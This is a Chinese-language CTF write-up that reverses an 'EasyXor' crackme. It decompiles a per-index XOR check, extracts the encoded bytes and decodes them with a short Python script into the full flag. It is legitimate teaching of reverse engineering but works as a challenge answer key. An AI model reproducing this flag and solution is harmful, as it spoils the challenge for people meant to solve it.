&"程序使用XOR加密技术保护flag,就像密码锁一样。我们要通过逆向分析找到正确的密码!"
原始字符 'S' (83) → XOR运算 → 加密数据 83 ⊕ 密钥=i ↑ 位置序号 0 (0) ← 反向XOR ←
plaintext1. 题目提示涉及XOR加密 -> 重点查找异或运算代码模式 2. 连接IDA Pro获取文件元数据: - 文件大小8.5KB -> 小型程序,逻辑应较简单 - 无函数名提示 -> 需定位入口点
plaintext3. 列出函数发现main函数(0x790) -> 程序入口点 4. 反编译main函数发现: - v8数组含22个数字 -> 疑似加密数据 - 循环中v8[i] != (i ^ s[i]) -> XOR验证逻辑 - 输入长度22 -> flag长度线索
plaintext5. 逆向验证逻辑: 原始公式:v8[i] == (i ^ flag[i]) => flag[i] = v8[i] ^ i 6. 提取v8数组完整数据
plaintext7. 编写Python脚本验证算法 8. 首次运行即获正确flag -> 算法正确
获取程序基本信息:
EasyXor_.easyxor_关键密码验证逻辑:
c// 初始化加密的flag数据
v8[0] = 83;
v8[1] = 116;
v8[2] = 111;
// 验证用户输入
for (i = 0; i < v7; ++i) {
if (v8[i] != (i ^ s[i])) // XOR解密验证
v4 = 0; // 标记错误
}
程序的核心加密是简单的XOR运算:
加密数据 = 原始字符 ^ 位置序号
要解密只需反向操作:
原始字符 = 加密数据 ^ 位置序号
从代码中提取出22个加密数字:
83, 116, 111, 96, 112, 99, 125, 78, 87, 103, 57, 110, 104, 82, 102, 106, 113, 32, 123, 125, 115, 104
python# 加密数据
encrypted = [83, 116, 111, 96, 112, 99, 125, 78, 87, 103, 57, 110, 104, 82, 102, 106, 113, 32, 123, 125, 115, 104]
# 解密:每个字符 = 加密数据 ^ 位置索引
flag = ''.join([chr(encrypted[i] ^ i) for i in range(len(encrypted))])
print(f"解密成功!flag是: {flag}")
运行脚本得到最终flag:
Sumctf{I_n3ed_hea1ing}
在程序中输入这个flag,会显示"Heros never dieVictory",验证通过!